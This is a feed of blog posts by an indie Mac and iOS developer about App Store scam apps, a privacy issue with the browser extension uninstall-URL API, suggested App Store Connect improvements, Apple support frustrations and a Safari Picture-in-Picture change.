The Desolation of Blog A sternly worded blog by Jeff Johnson. Jeff Johnson https://lapcatsoftware.com/ http://lapcatsoftware.com/articles/ 2026-04-11T14:30:00Z App Store Curation 2: The Scammer Strikes Back https://lapcatsoftware.com/articles/2026/4/2.html 2026-04-11T14:30:00Z 2026-04-11T14:30:00Z A year ago I wrote a blog post App Store Curation identifying a scam in the iOS App Store: the app Virus Protection for Phone. A few weeks later in the blog post Free with In-App Purchase is a sham I noted that the app had been removed from the App Store. Today I have two sad updates to the story. First, Virus Protection for Phone is back in the App Store! The App Store URL is the same, and the developer is the same, Virtual Advisors Limited. The app version history shows a large gap, with version 1.8 released in February 2025, before my blog post, and version 1.9 released just a few days ago. In retrospect, I have no way of knowing whether Apple removed the app from the App Store. The notoriously secretive corporation certainly didn’t make any kind of statement. It’s possible that the app developer voluntarily unpublished the app after noticing the bad publicity.

The second update to the story is that the same scammer appears to have a second scam app in the App Store iPhone Cleaner - Virus Protect under a different developer account, Ranger Bookie Investments LLC. How did I discover this second app? The same way I discovered the first app: an advertisement on a sketchy video streaming website. I don’t use such websites myself, but customers of my Safari extension StopTheMadness Pro sometimes email me about them, and I aim to provide diligent customer support. (Did I ever tell you how I had to listen to political talk radio while working on Rogue Amoeba’s Radioshift? Needless to say, it was not pleasant.)

Compare what I saw in Safari a year ago to what I saw yesterday:

Apple Security Alert Apple Security Alert

It’s the exact same wording, with the exact same typo “iOS in [sic] now 89% corrupted.” The website domains are similar: apple-cleaner.com vs. apple-protect.com. I chose to “Remove viruses,” which took me to the App Store.

You will be redirected to the App Store to install the recommended protection app. After installation, open the app and repair your Apple iPhone Open in App Store? iPhone Cleaner - Virus Protect

According to the version history, iPhone Cleaner was first released in November 2025 and last updated in January 2026. The app claims, with no evidence, to have 1 million users worldwide, quite an accomplishment for a “new” developer, though not as impressive as the claims of some other scam apps to have 10 million users.

4.8 average rating, 1M users worldwide, Your Ultimate iPhone Protection Hub

According to AppFigures, iPhone Cleaner - Virus Protect had 65,000 downloads and an estimated net revenue of $310,000 worldwide over the last month. That’s more money than I make in a year! I guess crime does pay.

The two scam apps iPhone Cleaner - Virus Protect and Virus Protection for Phone share similarities in addition to what we’ve already seen. For example, curiously, neither developer (they’re surely one and the same developer) identifies as a trader in the European Union, despite the fact that both apps have In-App Purchases. You can see the trader status by using an EU country code in the App Store URL; I just replace /us/ in the URL with /ie/ for Ireland. Apple allows App Store developers to self-identify whether or not they’re a trader in the EU. Traders are required to post contact information such as an address and phone number, which are verified by Apple, so it’s no wonder that scammers would choose not to identify as traders.

iPhone Cleaner - Virus Protect uses the same URL in the App Store for both the Developer Website link and the Privacy Policy link: https://future-protection.com/policy. Virus Protection for Phone follows the same pattern, though the URL is slightly different: https://safety-proxy.com/privacy. The format and wording of the two web pages are nearly identical. And if you have any doubt remaining that these two apps are by the same developer, compare the pages https://future-protection.com/terms and https://safety-proxy.com/terms, which list the app “Terms & Conditionstion.” That’s right, once again, the developer made the same typo twice!

Terms & Conditionstion Terms & Conditionstion

By the way, Google Search found two other websites with that typo: https://vpnsafe-fast.com and http://www.surfprivate.net/terms.html for two iOS apps, Online Fast VPN and Surf Private VPN. I’m not sure whether those apps are still in the App Store, but it seems that our scam developer has been busy over the years.

I don’t spend all my time scouring the App Store for scams. That’s not my job. Nonetheless, it’s difficult for me to avoid noticing App Store scams. They’re pervasive! You can find more examples in my collected App Store critiques. And those examples are merely the tip of the iceberg. I could spend all my time scouring the App Store for scams, because there are so many. If there’s anyone left on Earth who still believes that Apple “curates” the App Store, I wonder, how much more disproof you need? The problem is not just “a few bad apples” in the app market. Rather, the problem is one bad Apple at the top of the stock market.

]]>
The browser extension API setUninstallURL violates user privacy https://lapcatsoftware.com/articles/2026/4/1.html 2026-04-06T14:37:00Z 2026-04-06T14:37:00Z Back in February, I installed the Chrome extension Open in Firefox Browser to investigate a compatibility issue reported by a customer of my own extension. After my investigation was complete, I disabled the extension in Chrome, but I didn’t remove the extension from Chrome, because I was still conversing with the customer. A few days ago I noticed that the disabled extension was still on the chrome://extensions page.

Open in Firefox™ Browser 0.5.0

Since I didn’t need the extension anymore, I removed it.

2

To my surprise, Chrome opened the extension developer’s web page requesting feedback on why I removed it!

https://webextension.org/feedback.html?from=firefox&name=Open%20in%20Firefox™%20Browser&version=0.5.0&origin=open-in.html

It turns out that there’s a web browser extension API to open a URL when the user uninstalls the extension, the setUninstallURL runtime function.

Sets the URL to be visited when the extension is uninstalled. This can be used to clean up server-side data, do analytics, or implement surveys. The URL can be up to 1023 characters.

I didn’t know about the existence of this extension API until I experienced it as an extension user. I don’t think the API should exist, because it violates the extension user’s privacy. Extension developers can add whatever identifying information they like to the URL, as long as the URL doesn’t exceed the character limit. And of course the extension developer’s website will receive the extension user’s IP address along with the HTTP request, which is made without the user’s foreknowledge or consent. By the way, the uninstall page in the screenshot above also includes third-party advertising scripts.

Fortunately, Safari does not implement this extension API. Safari does have cross-browser source compatibility, so an extension can still call runtime.setUninstallURL(), but the function does nothing in Safari.

Firefox opens the uninstall URL if the user removes the extension while the extension is enabled. However, Firefox does not open the uninstall URL if the user first disables the extension and then removes it, so there is a way for the user to avoid the privacy violation. Nevertheless, Firefox users have to know beforehand that this precaution is necessary.

Google Chrome has the worst privacy here, because it still opens the uninstall URL even if the user disables the extension before removing it. As far as I’m aware, there’s no way to avoid the request. I’ve filed a bug report with the Chromium project.

You can test the uninstall behavior yourself with my simple sample extensions. I’ve included separate Chrome and Firefox extensions, because the browsers unfortunately have incompatible manifest.json background formats: Chrome requires the service_worker key, whereas Firefox requires the scripts key. Sigh. Notice in the manifest that the extensions have no host permissions but can nonetheless open the developer-specified uninstall URL, because the browser rather than the extension opens the URL. For purposes of demonstration, my sample extension includes a UUID in the uninstall URL.

In Chrome, installing the sample extension requires enabling “Developer mode” on the chrome://extensions page. In Firefox, installing the sample extension requires loading a temporary add-on from the about:debugging#/runtime/this-firefox page.

]]>
Small ways the App Store could be improved for developers https://lapcatsoftware.com/articles/2026/3/13.html 2026-03-30T14:20:00Z 2026-03-30T14:20:00Z The 50th anniversary of Apple’s founding, on April 1 1976, is this week. The App Store, which opened on July 10 2008, almost 18 years ago, has existed for more than a third of Apple’s corporate lifespan. My view, as an App Store developer for 9 years, half of the App Store’s lifespan, is that Apple has neglected it, taken the App Store and developers for granted, because iPhone and iPad are locked by Apple to the App Store, making it the sole method of software distribution for third-party developers on those popular devices. While Apple fights world governments tooth and nail to preserve its App Store lockdown, Apple remains complacent in appealing to App Store developers.

I’m not going to debate the major, controversial App Store policy issues here, such as Apple’s cut of developer revenue: 15% for members of the Small Business Program like myself, 30% for other developers. My argument is that even at the reduced rate of 15%, developers are not receiving their money’s worth in services from Apple. Call the commission an “access fee” if you like, but Apple isn’t doing much to help us after we get access to the App Store. Thankfully I don’t hear as much anymore the ridiculous claim that Apple is doing our marketing for us, perhaps because App Store users can’t avoid noticing the prominent paid search ads. According to Apple’s most recent quarterly financial results, the gross margin on “services” was 77% ($30 billion net sales and $7 billion cost of sales). That is gross! In other words, the App Store is practically printing money and profit for Apple, without much investment by Apple back into the App Store.

There are countless small, practical, mostly uncontroversial ways in which Apple could improve the App Store for developers, yet the App Store has changed relatively little in the 18 years since it was hastily cloned from the iTunes Music Store. Below is a list that you can count, numbered for easy reference, though not in any order of importance. Some of the ideas come from me, some from other App Store developers whose ideas I solicited. These changes to the App Store would not require a huge financial investment from Apple. They would simply require Apple to care about the App Store and developers.

  1. Publish current average Waiting for Review times.

    When we submit an update to Apple for review, we have no idea how long it will take to be reviewed, making it very difficult to plan releases. Lately, my Mac App Store versions have taken unusually long to review, sometimes four days for some reason, which I’ve never seen before.

  2. Allow developers to replace a build while still Waiting for Review.

    Sometimes we discover a bug or other issue with the app after the app has already been submitted to Apple but before it has started review. In order to fix a bug, we have to remove our own submission for review, upload a new build, and start the review process over again, going to the back of the queue. It would be nice if we could keep our place in the queue and simply fix the bug before Apple reviews the app.

  3. Allow multiple platforms builds (iOS, macOS, visionOS) to be submitted and reviewed together instead of forcing separate submissions.

    My app StopTheMadness Pro is a Universal Purchase for iOS and macOS, yet Apple forces me to submit the iOS and macOS app updates separately, each going through an independent review process, perhaps with different reviewers, that can take different amounts of time and have different outcomes, even though I release these updates simultaneously. Ironically, Apple is actually punishing developers for making native apps on each of Apple’s platforms! (In contrast, if I made an “iOS app on Mac,” then there would be only one review.) We should be able to submit app updates for multiple platforms together, so that one reviewer will review all the platforms at the same time.

  4. Allow revision of App Store metadata after an app version has already been published.

    Apple reviews your App Store metadata such as What’s New along with your app. Once the review is completed, you can’t change the metadata. If you publish an update, then discover a typo in the release notes, too bad!

    We should be able to edit the metadata after an app has been published. Apple can of course review the edits before the metadata is changed in the App Store.

  5. Allow developers to revert the published version of an app in the App Store to the previously published version if significant new bugs are detected.

  6. Send email notifications when an App Store user publishes a new review.

    For some bizarre reason, Apple sends us an email notification when an App Store user edits their preexisting review of your app but not when an App Store user writes a new review of your app. Every day I have to manually load twelve App Store Connect pages of reviews (which I’ve bookmarked)—five iOS/macOS apps each with separate reviews, one Mac app, and one visionOS app—to check whether there are new reviews. This is absurd.

  7. Send daily email notifications of unit sales and proceeds.

    Again, I have to log in to App Store Connect in order to check these manually.

  8. Make a native App Store Connect app for Mac.

    For some reason there’s a native App Store Connect app on iOS but not on macOS.

  9. Stop using a session cookie for developer website logins!

    Apple developer websites such as appstoreconnect.apple.com, developer.apple.com, and feedbackassistant.apple.com use a session cookie (myacinfo) for account logins. This means that whenever I quit my web browser, I’m logged out of my developer account and have to login again the next time. This is endlessly frustrating! And it’s unlike most other websites I use, which remain logged in practically forever.

    Worse, Apple keeps expiring our two-factor authentication, so not only do we need to login with every new browser session, we also need to provide 2FA frequently, I think once a week? Every Apple device in my home makes an audible noise when there’s a pending 2FA request, and of course this always seems to happen first thing in the morning when I login.

  10. Make App Store Connect faster and less error-prone.

    App Store Connect is one of the slowest websites I’ve ever used. It’s painfully slow. What is Apple running it on, an old PowerPC iMac? And App Store Connect frequently shows errors on page load, which can be resolved only by (slowly) reloading the page. The software engineering here is terrible.

  11. Allow hiding of unpublished or removed apps on https://appstoreconnect.apple.com/apps

    I have six apps and five app bundles that I’ve removed from sale on the App Store over the years, but they all still appear on my Apps page in App Store Connect, pointlessly filling the page. We should be able to archive these old items and hide them from the list.

  12. Automatically create financial reports instead of making us manually “Create Reports” on https://appstoreconnect.apple.com/itc/payments_and_financial_reports#/

    There’s a “Create Reports” button at the top of the Payments and Financial Reports section of App Store Connect that creates reports for each month, by country or all countries. It’s a very laborious and slow process. If I ever need to go back and look at some month, for some reason App Store Connect has to “generate” the report anew every time. Why can’t the reports be automatically generated and saved by Apple for quick access? After all, App Store Connect obviously already has all the data required to generate the reports.

  13. Stop sending a 1.2 MB promo code email—without any actual promo codes!—every time we generate a promo code.

    Every time we generate a promo code in App Store Connect, we get an automated email titled “Your Promo Codes for the App Store.” However, these emails do not include our promo codes! Instead they include a .pdf.zip file attachment, a compressed 19 MB pdf document listing the App Store Promo Codes Distribution Terms for each and every country in the App Store. It’s totally redundant, useless, and pointless.

  14. Generate platform-agnostic promo codes for Universal Purchases.

    Several of my apps are a Universal Purchase for iOS and macOS. But for some reason, all promo codes are platform-specific. I have to choose whether to generate a Mac App Store promo code or an iOS App Store promo code. The former cannot be redeemed in the iOS App Store, and the latter cannot be redeemed in the Mac App Store, though iOS App Store promo codes can be redeemed on Mac in the Music app!

    The lack of platform-agnostic promo codes is especially problematic when I’m sending them to journalists, and I don’t know in advance which kind of device they’ll use to redeem the code.

  15. Feature parity between the App Store Connect app and website.

    For example, promo codes can be generated only on the website, not in the iOS app. Also, the iOS app apparently doesn’t show the status of a freshly submitted app waiting for TestFlight approval.

  16. Allow developers to refund App Store purchases.

    Only Apple can refund App Store purchases. Nonetheless, App Store customers do not understand this, and they contact App Store developers for refunds. Unfortunately, we cannot provide refunds; we can only send the customers off to Apple. Worse, Apple sometimes rejects customer refund requests, for no apparent reason. All refunds are at Apple’s discretion or indiscretion. And who suffers from this? Not only App Store customers but also we App Store developers. The untrustworthy refund process makes potential customers wary to spend money in the App Store.

  17. Make Mac app TestFlight reviews work like iOS ones, and not require a full review for every build, only for version bumps.

    For some strange reason, TestFlight works differently for iOS apps and Mac apps. Every single new Mac app build requires a new review from Apple, which can take days, often slower than regular App Store review. This makes TestFlight a major pain to use on Mac.

    I’m not sure why TestFlight requires Apple review at all.

  18. Don’t clear an app’s Promotional Text in App Store Connect on every new version.

    A developer told me that they never change the Promotional Text, but every time the developer creates a new version, they have to re-add the Promotional Text using the awkward web UI every time, in multiple languages.

  19. Automatically import more metadata from app builds.

    Copyright is one example. In fact, App Store Connect could automatically create a new app version when a new version is uploaded, instead of forcing developers to manually create new versions in App Store Connect.

  20. Reduce the number of automated App Store review status emails.

    There are a lot of pointless and sometimes redundant emails such as “Prepare for Submission,” “Ready for Review,” “Developer Rejected,” and “Review of your submission is complete.” All we need are “Waiting for Review,” “In Review,” and “Pending Developer Release” or “Ready for Distribution.”

  21. App Store Connect should not cache the icon from a previous app build when the latest build has a new icon.

  22. Remember the last selected Apple developer account in App Store Connect.

    If you belong to multiple teams, there’s a dropdown in the top right corner of App Store Connect to select a team. A developer told me that when logging into App Store Connect, it frequently selects an old developer account has hasn’t been touched for years, from a previous company.

  23. Improve Apple Developer Support, which is the worst.

    I become extremely frustrated every time I need to contact Apple Developer Support. The support representatives are incompetent and have no reading comprehension. Their principal goal appears to be to make developers go away, not to resolve their issues. My latest complaints about Apple Developer support are described in a recent blog post.

  24. Make the iCloud token expiration in the iOS simulator longer than 24 hours.

  25. Allow more control over release rollout, arbitrary rollout percentages at arbitrary times.

  26. Allow App Store users on older versions of iOS to purchase the last compatible version of an app.

    A developer told me that this one of the most frequent support requests, and the main reason that they still support iOS 15.

  27. Provide a way to install unlisted applications on Apple TV.

    Typically, unlisted applications are installed by giving the customer the URL of the App Store page. They then click to install. But Apple TV has no web browser. You can still create unlisted Apple TV apps, but the only way to install them is 1) have a version on another platform, 2) get the user to install that version, 3) open the app store on the Apple TV and go to purchased apps, 4) look under 'apps not installed on this device.'

  28. Show a “contact developer” button when an App Store user leaves a 1 to 3 star rating.

  29. Allow developers to label App Store reviews as support requests or bug reports, hide those reviews from the App Store (after review by Apple, like they already do with developer replies), and notify the App Store user to contact the developer instead.

  30. When an App Store user searches for an app by name, the app should appear first in the results.

    This should be obvious, right??? Unfortunately, though, this is not the way the App Store works. The developer of QwikCards contacted me with a sad example, which I could reproduce. Notice below that the App Store knows enough to autocomplete my typing with the full name of the app.

    App Store search for QwikCards

    Nonetheless, the top result—after the advertisement, of course—is not QwikCards but rather MaxRewards.

    Top search results: Coursiv (Ad) and MaxRewards

    Ridiculously, QwikCards appears near the bottom of the search results. There were so many results ahead of it that I gave up taking screenshots of them all, pages and pages and pages of results. Notice the position of the scrollbar below.

    QwikCards need the bottom of the search results

    The current App Store search algorithm is a gross disservice to both App Store developers and App Store users.

  31. Bring back Apple Developer Program tiers.

    Many years ago, before the iPhone, when the Mac was Apple’s only developer platform, the Apple Developer Program had multiple tiers. The higher tiers had expensive annual fees, with correspondingly greater benefits. Eventually, Apple decided to simplify and flatten the developer program so that all developers, from anonymous hobbyists to the largest corporations in the world, pay the same $99 USD annual fee and receive he same (poor) services. I hear that a few select, important developers are assigned personal contacts inside Apple; obviously I’m not that important myself.

    My livelihood depends on the App Store. I would pay a lot for better services from Apple, for example, personal support, or priority in app reviews. This may become even more crucial if AI slop submissions start clogging the app review queues, which may already be happening. Yesterday, 9to5Mac published an article about vibe-coded App Store submissions and review times.

  32. Review app updates post-release for proven developers.

    This is admittedly a somewhat controversial idea, but it would vastly improve the App Store experience for developers. I’ve been an App Store developer for nine years, released a number of apps, countless updates of the apps, and never got into trouble, certainly never submitted malware. I’ve had some updates reject by app review for trivial, technical, easily correctable issues. The question is, at what point does Apple start to trust me a little bit? We’ve had a mutually beneficial relationship for a long time: Apple has earned commission from my apps, and I’ve never harmed Apple users. Still, I can’t release any bug fixes to my apps without going through review first, which can take many days. I can request an expedited review, but Apple says they strictly limit those requests. Why couldn’t Apple allow me to release an update to users and review the update sometime after the update appears in the App Store? If app review finds a problem, then Apple can remove the app if the problem is bad enough, or they can ask me to revise the app soon if the problem is only minor.

    I believe that reviewing apps after they appear in the App Store would actually help to catch more problems. Currently, it’s relatively easy for a mischievous developer to slip something past app review: make the app behave nicely while it’s under review, then after the app is approved by Apple, flip a server-side switch to change the app’s behavior. This is precisely what happened with the infamous case of Fortnite. Epic Games submitted an update, which Apple approved, and then once the update appeared in the App Store, Epic games flipped a switch, and the app began to bypass Apple’s In-App Purchase restrictions. App review failed to catch this beforehand.

Thank you very much to the App Store developers who submitted ideas to me for this blog post! I hope that I haven’t mangled anything, and I take all blame for any issues with the above presentation.

By the way, I’ve deliberately avoided discussing improvements to Apple Feedback Assistant here, because Feedback Assistant is not exclusive to App Store developers, and because the topic deserves separate treatment. In fact I’ve blogged about Feedback Assistant a number of times before.

]]>
App Store Connect analytics missing platform versions https://lapcatsoftware.com/articles/2026/3/12.html 2026-03-26T18:02:00Z 2026-03-26T22:40:00Z I’m wondering whether other App Store developers can reproduce the issue that I’m seeing, which was occurring before the recent App Store Connect analytics design and continues to occur now. I’ve been back and forth with Apple Developer Support for more than a month (case 102827338878 if anyone from Apple is reading), getting nowhere slowly. Their latest unhelpful email response this morning left me frustrated and enraged. And I have no desire to file a bug report with Feedback Assistant either. It seems like blogging is the only way to get the attention of someone who isn't a zombie.

I see the issue in App Store Connect when I select Analytics, Metrics, Updates, By Platform Version:

App Store Connect Analytics, Metrics, Updates, By Platform Version

Updates represent, “The number of times the app has been updated to its latest version.” There is a very long table of platform versions and numbers of updates for each platform version, the latter of which I will not display, because that’s my confidential business information.

Platform Version iOS 26.2, iOS 26.3, etc.

The platform versions go way back in time, as early as iOS 8.0 (2014) and macOS 10.14.1 (2018).

Platform Version iOS 8.0, iOS 8.1, etc.

Most of the platform versions have zero updates, represented by the “-” character in the table, because the minimum versions supported by StopTheMadness Pro are iOS 16 and macOS 12.

The issue, apparently a bug in App Store Connect Analytics, is that a few platform versions are simply missing from the table, for example, iOS 16.7 and macOS 13.7, 14.7, 14.8. And I believe that these missing platform versions have non-zero numbers of updates. There are two strong pieces of evidence that the missing platforms are numerically significant. First, lower version numbers such as iOS 16.6 and macOS 14.6 have update numbers significantly higher than zero. Second, if I add up all the By Platform Version updates, then switch to the By Device view and add up all the devices, the two sums are different! There are more total By Device updates than total By Platform Version updates, which suggests that the difference is explained by the missing platform versions.

App Store Connect Analytics, Metrics, Updates, By Device
Device Desktop, iPhone, iPad, etc.

By the way, the same discrepancy in update totals exists when I filter By Date. The total updates By Date is greater than the total updates By Platform Version.

My question is, are other App Store developers seeing—or more accurately, not seeing—the missing platform versions in App Store Connect Analytics? Please let me know! And if anyone from Apple if reading this blog post, please ping someone relevant inside the company to investigate this issue!

The rest of this blog post is just my complaints about Apple Developer Support, so if you don’t care about that, you can stop reading now. ;-)


I submitted this issue (case 102827338878) to Apple Developer Support on February 21. They didn’t get back to me until a week later. They started with an apology for the delay, which was nice, but the response immediately got worse from there, because Developer Support showed no reading comprehension of my support request:

First of all, I would like to apologize for the delay in replying to your query. This is certainly not the customary wait time for a reply from Developer Support. We have been experiencing higher than expected volumes, and your patience is greatly appreciated.

To protect customer privacy, Apple shows App Analytics data only when a certain number of data points are available. The data is aggregated so that customers can remain anonymous.

As soon as there are enough data points to show, you'll see your App Analytics data.

I did see the data. The problem was just that a few platform versions were missing from the data. And remember that the table does show platform versions for which there are zero updates.

I requested that Developer Support escalate my issue, and I got a reply on March 5 from a different Developer Support representative, who asked for more information. In response, I sent a long series of screenshots illustrating the issue. The next day I received a response that essentially repeated the misunderstanding of the first Developer Support representative:

If the data collection for the platform versions you are attempting to view (iOS 16.7 and macOS 13.7, 14.7, 14.8) is insufficient, limited, and/or the data being requested is not shared by the customer, the data for those versions will not be displayed. Apple displays App Analytics data only when a specific number of data points are available.

If you encounter discrepancies between the reports you are viewing and those displayed in App Analytics, kindly respond to this email with additional details regarding the report in question, the source of data generation, and the platform from which you are receiving these reports.

As soon as there are enough data points to show, you'll see your App Analytics data.

I replied with a detailed email listing various update numbers and talking about how the totals are different when I change the analytics filter. And I once again requested that they escalate my issue. On March 8, the Developer Support representative replied to me:

As we continue, I have forwarded your information to our Senior Advisor Team, who will continue with the process on your behalf.

A so-called “senior advisor” did not contact me until March 19:

In your message, you mention that a few platform versions are missing from the Analytics in App Store Connect. To better assist you, we need more information. Please provide the following:

This was followed by a long list of items that I had already provided! I replied:

I don't understand this request, because I've already provided the information requested, including many screenshots. Do you not have the case history? I shouldn't have to repeat everything.

This morning, a week later, the senior advisor finally replied again:

I realize you provided information before however we will need the additional information requested to look into this issue further for you.

Provide the following:

Seriously, what the hell? The previous representative claimed, “I have forwarded your information to our Senior Advisor Team,” yet the senior advisor was acting like they had no information. It’s absurd, and I won’t tolerate this kind of bureaucratic incompetence. Apple takes a cut of all my app revenue, and this is the “service” I get in return?

]]>
Apple randomly closes bug reports unless you “verify” the bug remains unfixed https://lapcatsoftware.com/articles/2026/3/11.html 2026-03-25T15:10:00Z 2026-03-25T15:10:00Z Why do I file bug reports with Apple Feedback Assistant? I plead insanity. Or perhaps addiction. I seesaw between phases of abstinence and falling off the wagon. I’ve even tried organizing a public boycott of Feedback Assistant, with a list of demands to improve the experience for users, but the boycott never caught on with other developers. Regardless, an incentive still exists to file bug reports, because Apple actually fixes some of my bugs. My main complaint about the bug reporting process is not the unfixed bugs but rather the disrespect for bug reports and the people who file them. Apple intentionally wastes our time with no regrets, as if our time had no value, as if we had some kind of duty to serve Apple.

In March 2023, I filed FB12088655 “Privacy: Network filter extension TCP connection and IP address leak.” I mentioned this bug report at the time in a blog post, which included the same steps to reproduce and example Xcode project that I provided to Apple. In the three years since I filed the bug report, I received no response whatsoever from Apple… until a couple of weeks ago, when Apple asked me to “verify” the issue with macOS 26.4 beta 4 and update my bug report.

I install the WWDC betas every year in June but don’t run OS betas after September when the major OS updates are released. I don’t have enough time or indeed enough Apple devices to be an unpaid tester year round. Thus, verifying issues in betas is a hassle for me. I’ve been burned by such requests in the past, asked by Apple to verify issues in betas that were not fixed, so I asked Apple directly whether beta 4 fixed the bug: they should already know, since they have my steps to reproduce! However, their response was evasive, never directly answering my question. Moreover, they threatened to close my bug report and assume the bug is fixed if I didn’t verify within two weeks! Again, this is after Apple silently sat on my bug report for three years.

Although I didn’t install the beta myself, I spoke to the developers of Little Snitch, who do run the macOS betas, and they kindly informed me that in their testing, they could still reproduce my issue with macOS 26.4 beta 4. It was no surprise, then, that when I updated to macOS 26.4, released to the public yesterday by Apple, I could still reproduce the bug with my instructions and example project. It appears that Apple knowingly sent me on a wild goose chase, demanding that I “verify” a bug they did nothing to fix, perhaps praying that the bug had magically disappeared on its own, with no effort from Apple.

By the way, a few weeks ago I published a blog post about another bug, FB22057274 “Pinned tabs: slow-loading target="_blank" links appear in the wrong tab,” which is also 100% reproducible but nonetheless was marked by Apple with the resolution “Investigation complete - Unable to diagnose with current information.” On March 9, I updated the bug report, asking what additional information Apple needs from me—they never asked for more information—but I’ve yet to receive a response.

I can only assume that some bozos in Apple leadership incentivize underlings to close bug reports, no matter whether the bugs are fixed. Out of sight, out of mind. Apple’s internal metrics probably tell them that they have no software quality problem, because the number of open bug reports is kept lower artificially.

Ironically, the iPadOS 26.4 betas introduced a Safari crashing bug that I reported a month ago, but Apple failed to fix the bug before the public release. What’s the purpose of betas? As far as I can tell, the purpose is just to annoy people who file bugs, without doing anything useful.

]]>
App Store developers: suggest your small ideas for improvement https://lapcatsoftware.com/articles/2026/3/10.html 2026-03-19T13:30:00Z 2026-03-19T13:30:00Z After gathering feedback from fellow App Store developers, I’m going to write a blog post (next week?) presenting a long list of small ways that Apple could improve the App Store for developers. To be clear, I’m certainly not opposed to improving the App Store in big ways! In fact, I feel strongly that Apple needs to fundamentally rethink the App Store. However, this is controversial. My aim here is to solicit ideas that are both practical and relatively uncontroversial. Frankly, I want to show that Apple has neglected the App Store, taking developers for granted and failing to invest even modest resources to improve the developer experience, despite continuing to siphon off a significant cut of our revenue.

Below is my own list, in no particular order, derived from my own experience as an App Store developer. My list should hopefully give you an idea of the scope of what I call “small” ideas. Please send me your own small ideas via Mastodon or email: my email address begins with contact-me and ends with the domain of this web site. You don’t need to repeat the ideas that are already on my list; this is not a vote but rather brainstorming.

  • Publish current average Waiting for Review times
  • Allow developers to replace a build while still Waiting for Review
  • Allow multiple platforms builds (iOS, macOS, visionOS) to be submitted and reviewed together instead of forcing separate submissions
  • Allow revision of App Store metadata after an app version has already been published
  • Email notifications when an App Store user publishes a new review
  • Email notifications of daily unit sales and proceeds
  • Native Mac App Store Connect app
  • Stop using expiring session cookies for developer website logins!
  • Make App Store Connect faster and less error-prone
  • Allow hiding of unpublished or removed apps on https://appstoreconnect.apple.com/apps
  • Don’t make us “Create Reports” on https://appstoreconnect.apple.com/itc/payments_and_financial_reports#/ just create the damn reports automatically
  • Stop sending a 1.2 MB promo code email—without any actual promo codes!—every time we generate a promo code
  • Platform-agnostic promo codes for Universal Purchases
  • Allow developers to refund App Store purchases

These are off the top of my head. I’ve probably forgotten some things, so you can remind me!

By the way, the list will intentionally avoid talking about Feedback Assistant, because it’s not exclusive to the App Store, and it’s a whole other monster that deserves its own separate discussion.

]]>
macOS Tahoe bloats the Safari Picture-in-Picture window https://lapcatsoftware.com/articles/2026/3/9.html 2026-03-17T14:05:00Z 2026-03-17T14:40:00Z As I mentioned in my recent blog post Safari web browser bugs: A year in review, I frequently browse Reddit and think Apple employees should too. Today on Reddit I came across the question, Can I make the Safari PiP window smaller than the default minimum in Tahoe? The Redditor noticed, and I’ve verified, that the minimum size of a Picture-in-Picture window is much larger on macOS 26 Tahoe than on macOS 15 Sequoia, using the same version of Safari on both. I’m still using Sequoia as my primary OS, so there are many Tahoe changes that I don’t become aware of until someone else points them out to me.

Here’s a screenshot from Sequoia, on a test page:

Safari PiP window on Sequoia

And from Tahoe, on the same page:

Safari PiP window on Tahoe

On Tahoe, the minimum size is enormous compared to Sequoia. I’m not sure how this change helps the user.

Coincidentally, yesterday I read the chapter on the Apple Lisa computer in the new book Apple: The First 50 Years by David Pogue. Although the Lisa was not a big seller, due to its extremely high price, its pioneering graphical user interface revolutionized the industry, influencing all future computers, including the Mac. Pogue recounts how the Lisa was designed (referring to Apple engineer Larry Tesler):

In the summer of 1980, Tesler set up a testing room with a one-way mirror, an overhead microphone, and two video cameras: one trained on the computer screen, and the other on the keyboard and mouse. Synchronized VCRs recorded both cameras. A test subject would try out the latest element of the Lisa’s design, guided by a team member and sometimes observed by psychologists.

The volunteers were anyone the team could round up: spouses or parents of Apple employees, custodial staff, visitors, or new Apple employees who weren’t already computer savvy. Then the researchers gave the guinea pigs an instruction, such as “Edit this document, and then save it into this folder.”

The user-testing room, which Apple considered “pure gold,” was crucial in shaping the Lisa GUI. I wonder whether Apple, now collecting profit like a dragon sitting on a hoard of gold, does any user testing today.

Addendum

There’s a timeline control in the PiP window on Tahoe but… it doesn’t seem to work???

]]>
The incentives of online attention https://lapcatsoftware.com/articles/2026/3/8.html 2026-03-14T14:55:00Z 2026-03-14T14:55:00Z I started blogging way back in 2006, when I was also starting my career in computer programming, before I even had a job. I was posting mostly about technical programming issues, basically to prove my skills. In 2008 I joined Twitter, as it was still called, for a programming conference, C4, organized by Jonathan ‘Wolf’ Rentzsch, who has unfortunately disappeared from my online community. At the time, my goals in posting online were clear: career advancement and professional networking. A funny thing happened, though: I started to earn attention for my opinions, especially on Twitter.

I’m a naturally critical and opinionated person, have been since childhood. I’ve mentioned on this blog that I was in academic philosophy before I switched careers to computer programming. (Perhaps my familiarity with the aphoristic styles of Wittgenstein and Nietzsche helped to prepare me for Twitter. Regardless, my familiarity with Nietzsche helped to prepare me for spelling Rentzsch correctly, which impressed him.) If you’re willing and able to articulate an opinion that other people find plausible and interesting, those people will share it online. You get attention. Not only does attention feel good, at least temporarily, almost like a drug, it can also advance your career. I have no doubt that my online following helped me to promote my software and beat the odds by succeeding as an indie developer.

Of course there’s a dark side to attention. Over the years, my online posting has antagonized a significant number of people, in some cases intentionally, in many others unintentionally. It’s always a bit surprising to discover that I’m disliked by someone I’ve never heard of. My reputation precedes me. Earning followers brings some enemies too. I don’t know whether that’s inevitable or merely a consequence of the way I’ve personally earned a following.

I don’t enjoy being disliked. On the contrary, it sucks. Despite accusations by some detractors, I’m not a troll or a fake, deviously manufacturing controversy for attention. I care deeply about truth and honesty. If I appear to be a contrarian, it’s because I genuinely “think different” from the majority, which to be frank is an uncomfortable, alienating predicament for me. I think I would be happier if I were more like and more liked by the public. But that might require me to put on an act, become the fake that some mistakenly think I am.

I can’t turn critical thinking on and off like a light switch. It’s just how my mind works. I can choose whether or not to share what’s on my mind. However, I find it agonizingly difficult to walk that fine line. I often make the wrong choice, posting something I shouldn’t, and later regret it. Nonetheless, my followers encourage me to be critical and to post my opinions. While I don’t monetize attention directly, for example by selling advertising on my blog, I surely do monetize attention indirectly via the corresponding attention drawn to my apps. My livelihood depends on attention. I don’t feel that I could afford to disappear, not that I want to disappear permanently. Sometimes I do want disappear temporarily, hide under a rock.

